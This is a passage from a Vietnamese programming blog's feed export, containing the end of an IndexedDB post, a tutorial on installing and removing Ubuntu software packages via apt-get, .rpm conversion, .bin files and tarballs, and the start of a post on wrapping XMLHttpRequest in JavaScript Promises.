id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây, mình đã giới thiệu với bạn những kiến thức cơ bản cần nhớ về JavaScript IndexedDB. Tuy nhiên, để giải thích chi tiết về index db thì thật sự không biết phải giải thích như thế nào.</p> <p>Vì vậy, nếu có phần nào bạn cảm thấy không hiểu thì có thể đặt câu hỏi trong phần bình luận.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/ke-thua-co-ban-trong-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li>Ví dụ trên <a href="https://github.com/completejavascript/simple-indexdb-js">github</a>, <a href="https://codepen.io/completejavascript/full/LeBzyb">codepen</a>.</li> <li><a href="https://nolanlawson.com/2015/09/29/indexeddb-websql-localstorage-what-blocks-the-dom/">IndexedDB, WebSQL, LocalStorage – what blocks the DOM?</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Basic concepts behind IndexedDB</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li> </ul>[email protected]<![CDATA[Cách cài đặt và gỡ một gói phần mềm trên Ubuntu]]><![CDATA[Trong bài viết các câu lệnh thường dùng đến trong Ubuntu - Linux, mình đã giới thiệu với bạn những câu lệnh cơ bản thường dùng trong Ubuntu để làm việc với file, folder, thông tin…]]>https://completejavascript.com/cach-cai-dat-va-go-mot-goi-phan-mem-tren-ubuntu/https://completejavascript.com/cach-cai-dat-va-go-mot-goi-phan-mem-tren-ubuntu/<![CDATA[Command Line]]><![CDATA[Ubuntu]]>Mon, 21 Aug 2017 14:46:46 GMT<p>Trong bài viết <a href="/cac-cau-lenh-thuong-dung-tren-ubuntu-linux/">các câu lệnh thường dùng đến trong Ubuntu - Linux</a>, mình đã giới thiệu với bạn những câu lệnh cơ bản thường dùng trong Ubuntu để làm việc với file, folder, thông tin hệ thống,... Tiếp tục, bài viết này sẽ hướng dẫn bạn cách cài đặt và gỡ một gói phần mềm trên Ubuntu.</p> <h2 id="dùng-ubuntu-software-center" style="position:relative;"><a href="#d%C3%B9ng-ubuntu-software-center" aria-label="dùng ubuntu software center permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dùng Ubuntu Software Center</h2> <p>Đây là cách cài đặt và gỡ phần mềm đơn giản nhất trong Ubuntu, vì bạn sẽ sử dụng thông qua giao diện đồ hoạ. Việc cài đặt này chẳng khác gì việc bạn lên Google Store hay App Store để cài đặt phần mềm cho điện thoại Android hoặc Iphone cả.</p> <p>Để cài đặt 1 phần mềm, bạn làm theo các bước sau:</p> <ul> <li>Mở Ubuntu Software Center</li> <li>Viết tên phần mềm cần cài đặt</li> <li>Chọn phần mềm cần cài đặt và nhấn Install</li> <li>Nhập mật khẩu root và đợi nó cài đặt xong</li> </ul> <p>Để gỡ phần mềm vừa cài đặt:</p> <ul> <li>Trong Ubuntu Software Center, chọn tab <strong>Installed</strong>.</li> <li>Danh sách phần mềm đã được cài đặt hiện lên</li> <li>Bạn chọn <strong>Remove</strong> để gỡ cài đặt.</li> <li>Nhập mật khẩu root và đợi quá trình hoàn thành.</li> </ul> <h2 id="sử-dụng-apt-get-trên-terminal" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-apt-get-tr%C3%AAn-terminal" aria-label="sử dụng apt get trên terminal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng apt-get trên Terminal</h2> <h3 id="cài-đặt-online" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-online" aria-label="cài đặt online permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt online</h3> <p>Để cài đặt 1 gói phần mềm trên Ubuntu sử dụng Terminal theo cách <strong>online</strong>, bạn cần có kết nối Internet (dĩ nhiên rồi). Bạn tìm kiếm trên Google tên những gói phần mềm mình cần cài đặt rồi:</p> <ul> <li>Mở Terminal: Ctrl Alt T</li> <li>Gõ lệnh: <code>sudo apt-get install ten_goi1 ten_goi2 ten_goi3</code></li> <li>Nhập mật khẩu và đợi cài đặt xong</li> </ul> <p>Để gỡ cài đặt:</p> <ul> <li>Mở Terminal: Ctr Alt T</li> <li>Gõ lệnh: <code>sudo apt-get remove ten_goi1 ten_goi2 ten_goi3</code></li> <li>Nhập mật khẩu và chờ đợi</li> </ul> <p><strong>Bonus:</strong></p> <p>Trong quá trình cài đặt và gỡ phần mềm trên Ubuntu, việc sinh ra rác là điều không tránh khỏi. Để bỏ đi những thứ không cần thiết:</p> <ul> <li>Mở Terminal</li> <li>Gõ lệnh: <code>sudo apt-get autoremove</code> (và nhập mật khẩu)</li> <li>Gõ lệnh: <code>sudo apt-get autoclean</code> (và nhập mật khẩu nếu cần thiết)</li> </ul> <h3 id="cài-đặt-offline" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-offline" aria-label="cài đặt offline permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt offline</h3> <p>Cài đặt Offline nghĩa là: bạn đã tải về gói phần mềm rồi. Bây giờ ta chỉ việc cài đặt chúng thôi, nên việc này không cần thiết phải có mạng Internet.</p> <p>Các gói phần mềm thường có đuôi là: .deb, .rpm, .bin và dạng nén tarball (.tar, .tar.gz, .tgz,...)</p> <h4 id="cài-đặt-file-deb" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-file-deb" aria-label="cài đặt file deb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt file .deb</h4> <p>Cài đặt loại này cực kì đơn giản, bạn chỉ cần click vào là tự nó sẽ cài đặt - sử dụng Ubuntu Software Center.</p> <h4 id="cài-đặt-file-rpm" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-file-rpm" aria-label="cài đặt file rpm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt file .rpm</h4> <p>Mình sẽ chuyển file <strong>.rpm</strong> thành file <strong>.deb</strong> để làm giống như trên:</p> <ul> <li>Mở Terminal</li> <li>Cài đặt gói <strong>alien</strong> với câu lệnh: <strong>sudo apt-get install alien</strong></li> <li>Convert file từ <strong>.rpm</strong> thành <strong>.deb</strong> với câu lệnh: <code>sudo alien -k filename.rpm</code></li> <li>Sau bước trên bạn đã có một tệp tin là <strong>filename.deb</strong>, tiếp tục click vào để cài đặt.</li> </ul> <h4 id="cài-đặt-file-bin" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-file-bin" aria-label="cài đặt file bin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt file .bin</h4> <p>Đầu tiên lưu file <strong>.bin</strong> tới Desktop. Mở Terminal:</p> <ul> <li>Di chuyển đến thư mục chứa file: <code>cd Desktop</code> (đây chỉ là ví dụ, thực tế bạn có thể đặt file ở thư mục khác)</li> <li>Thêm quyền cho file: <code>sudo chmod +x filename.bin</code></li> <li>Cài đặt: <code>./filename.bin</code></li> <li>Sau đó chương trình sẽ cài đặt trong Terminal!</li> </ul> <h4 id="cài-đặt-phần-mềm-từ-tarball" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-ph%E1%BA%A7n-m%E1%BB%81m-t%E1%BB%AB-tarball" aria-label="cài đặt phần mềm từ tarball permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt phần mềm từ tarball</h4> <p>Một tarball (thường là các file .tar , .tar.gz , .tgz , .tar.bz2 , .tbz2 ) gồm có mã nguồn cho chương trình mà ta phải tự biên dịch, trình biên dịch (compile) như GCC... thì thường có sẵn trong Linux . Các bước cài đặt Tarball về cơ bản như sau:</p> <h5 id="giải-nén-tarball" style="position:relative;"><a href="#gi%E1%BA%A3i-n%C3%A9n-tarball" aria-label="giải nén tarball permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải nén tarball</h5> <p><strong>Cách 1</strong>: Click vào file, nhấn chuột phải, chọn <strong>extract here</strong></p> <p><strong>Cách 2</strong>: Dùng một trong các lệnh sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">tar</span> zxvf file.tar.gz $ <span class="token function">tar</span> zxf file.tar.gz $ <span class="token function">tar</span> zxf file.tgz $ <span class="token function">tar</span> jxf file.tar.bz2 $ <span class="token function">tar</span> jxf file.tbz2</code></pre></div> <p>Các tùy chọn chúng ta cung cấp cho <strong>tar</strong> được mô tả bên dưới:</p> <ul> <li><code>-z</code> để lệnh cho tar chạy file này thông qua gzip để giải nén (sử dụng <code>–j</code> cho các file bzip)</li> <li><code>-x</code> để bung các file</li> <li><code>-v</code> cho "verbose", để chúng ta có thể thấy danh sách các file đang bung</li> <li><code>-f</code> để lệnh cho tar rằng chúng ta đang làm việc với một file</li> </ul> <h5 id="configure" style="position:relative;"><a href="#configure" aria-label="configure permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Configure</h5> <ul> <li>Mở terminal lên, dùng lệnh cd để di chuyển tới nơi đã bung file ở bước trước</li> <li>Gõ lệnh <code>./configure</code>: mục đích là để kiểm tra xem hệ thống có đầy đủ các phần mềm để cài đặt chưa, nếu thiếu thì ta phải cài đặt các phần mềm đó trước</li> <li>Gõ lệnh <code>make</code>: chờ cho tới khi hoàn thành rồi đến bước tiếp theo</li> <li>Gõ lệnh <code>sudo make install</code>: đợi cho tới khi kết thúc là hoàn thành cài đặt.</li> </ul> <h5 id="gỡ-phần-mềm" style="position:relative;"><a href="#g%E1%BB%A1-ph%E1%BA%A7n-m%E1%BB%81m" aria-label="gỡ phần mềm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gỡ phần mềm</h5> <ul> <li>Dùng lệnh cd di chuyển tới thư mục chứa file nguồn của phần mềm vừa bung ra.</li> <li>Gõ lệnh: <code>make uninstall</code></li> </ul> <p>Trên đây là một số cách để cài đặt và gỡ một gói phần mềm trên Ubuntu. Nếu bạn có thắc mắc hay góp ý gì, vui lòng để lại dưới phần bình luận.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết sau, thân ái!</p>[email protected]<![CDATA[XMLHttpRequest với Promise JavaScript]]><![CDATA[Nếu các bạn đã đọc qua bài viết của mình về XMLHttpRequest, thì sẽ biết rằng có 2 cách sử dụng đối tượng này là: đồng bộ và bất đồng bộ. Với xử lý đồng bộ, bạn quản lý chương trình…]]>https://completejavascript.com/xmlhttprequest-voi-promise-javascript/https://completejavascript.com/xmlhttprequest-voi-promise-javascript/<![CDATA[AJAX]]><![CDATA[ES6]]><![CDATA[Promise]]>Mon, 21 Aug 2017 00:00:37 GMT<p>Nếu các bạn đã đọc qua bài viết của mình về <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">XMLHttpRequest</a>, thì sẽ biết rằng có 2 cách sử dụng đối tượng này là: <strong>đồng bộ</strong> và <strong>bất đồng bộ</strong>. Với xử lý đồng bộ, bạn quản lý chương trình dễ hơn, nhưng thường nó sẽ chạy chậm. Trong khi xử lý bất đồng bộ, chương trình chạy nhanh hơn nhưng code sẽ khó khăn hơn. Vì vậy, bài viết này sẽ hướng dẫn các bạn kết hợp XMLHttpRequest với <strong>Promise JavaScript</strong> trong xử lý bất đồng bộ.</p> <h2 id="promise-javascript-là-gì" style="position:relative;"><a href="#promise-javascript-l%C3%A0-g%C3%AC" aria-label="promise javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise JavaScript là gì?</h2> <p>Promise JavaScript là một <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> cho phép bạn thực hiện những tác vụ bất đồng bộ. Sau đây là cách sử dụng cơ bản của Promise (sử dụng ES6):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Do an async task and then...</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token comment">/* good condition */</span><span class="token punctuation">)</span> <span class="token function">resolve</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token function">reject</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> p<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token parameter">data</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* do something with the result */</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token parameter">error</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* error */</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* do something with other errors here */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi tạo mới một đối tượng Promise, tham số truyền vào sẽ là 2 hàm số <strong>resolve</strong> và <strong>reject</strong> - tương tự như các hàm <strong>callback</strong>. Đúng như tên gọi của chúng, resolve dùng để xử lý khi tác vụ bất đồng bộ thành công. Ngược lại, reject dùng để xử lý khi tác vụ đó thất bại.</p> <p>Tuy nhiên, resolve và reject ở đây chỉ là tên gọi. Thực tế, chúng sẽ được triển khai ở phần <strong>.then</strong>. Trong đó, .then cũng có 2 tham số tương ứng là phần triển khai của 2 hàm số resolve và reject phía trên.</p> <p>Ngoài ra, bạn cũng có thể bỏ qua phần reject ở đây mà xử lý sau ở trong phần <strong>.catch</strong> cũng được.</p> <h2 id="xmlhttprequest-với-promise-javascript" style="position:relative;"><a href="#xmlhttprequest-v%E1%BB%9Bi-promise-javascript" aria-label="xmlhttprequest với promise javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>XMLHttpRequest với Promise JavaScript</h2> <p>Phần này mình đã làm một ví dụ sử dụng XMLHttpRequest để thực hiện phương thức <strong>GET</strong> với API cung cấp bởi <a href="https://fcc-weather-api.glitch.me">https://fcc-weather-api.glitch.me</a>, để lấy thông tin thời tiết tại một điểm có kinh độ và vĩ độ xác định.</p> <p><a href="https://codepen.io/completejavascript/pen/vRxWdQ"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/vRxWdQ/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trong ví dụ trên, bạn có thể nhập tọa độ kinh tuyến và vĩ tuyến, sau đó, nhấn <strong>request</strong> để lấy thông tin thời tiết tại tọa độ đó. Khi request thành công, kết quả sẽ hiển thị lên màn hình.</p> <p>Ngoài ra, bạn cũng có thể nhấn <strong>Ctrl Shift I</strong> hoặc <strong>F12</strong> (tùy trình duyệt) để mở <strong>console</strong> của trình duyệt. Mình có ghi log ra đó.</p> <h3 id="khởi-tạo-đối-tượng-xmlhttprequest-support-ie" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-xmlhttprequest-support-ie" aria-label="khởi tạo đối tượng xmlhttprequest support ie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo đối tượng XMLHttpRequest support IE</h3> <p>Đối với hầu hết các trình duyệt, bạn có thể sử dụng trực tiếp đối tượng XMLHttpRequest của window. Nhưng đối với trình duyệt IE, bạn cần phải sử dụng <strong>ActiveXObject("Microsoft.XMLHTTP")</strong> thay thế. Do đó, bạn cần định nghĩa lại XMLHttpRequest.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> XMLHttpRequest <span class="token operator">=</span> window<span class="token punctuation">.</span>XMLHttpRequest <span class="token operator">||</span> <span class="token function">ActiveXObject</span><span class="token punctuation">(</span><span class="token string">"Microsoft.XMLHTTP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên hiểu là: Nếu như trình duyệt có hỗ trợ XMLHttpRequest thì window.XMLHttpRequest sẽ khác <strong>undefined</strong>. Khi đó, ta có XMLHttpRequest = window.XMLHttpRequest. Ngược lại thì window.XMLHttpRequest sẽ là undefined nên XMLHttpRequest = ActiveXObject("Microsoft.XMLHTTP").</p> <p>Đây là cách viết ngắn gọn nhấn. Nó tương đương với cách viết khác dài hơn là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> XMLHttpRequest <span class="token operator">=</span> window<span class="token punctuation">.</span>XMLHttpRequest <span class="token operator">?</span> window<span class="token punctuation">.</span>XMLHttpRequest <span class="token operator">:</span> <span class="token function">ActiveXObject</span><span class="token punctuation">(</span><span class="token string">"Microsoft.XMLHTTP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> XMLHttpRequest <span class="token operator">=</span> window<span class="token punctuation">.</span>XMLHttpRequest<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>XMLHttpRequest <span class="token operator">==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> XMLHttpRequest <span class="token operator">=</span> <span class="token function">ActiveXObject</span><span class="token punctuation">(</span><span class="token string">"Microsoft.XMLHTTP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tóm lại, để tạo mới đối tượng XMLHttpRequest, bạn sẽ làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> XMLHttpRequest <span class="token operator">=</span> window<span class="token punctuation">.</span>XMLHttpRequest <span class="token operator">||</span> <span class="token function">ActiveXObject</span><span class="token punctuation">(</span><span class="token string">"Microsoft.XMLHTTP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> xmlHttpRequest <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="triển-khai-xmlhttprequest-với-promise-javascript" 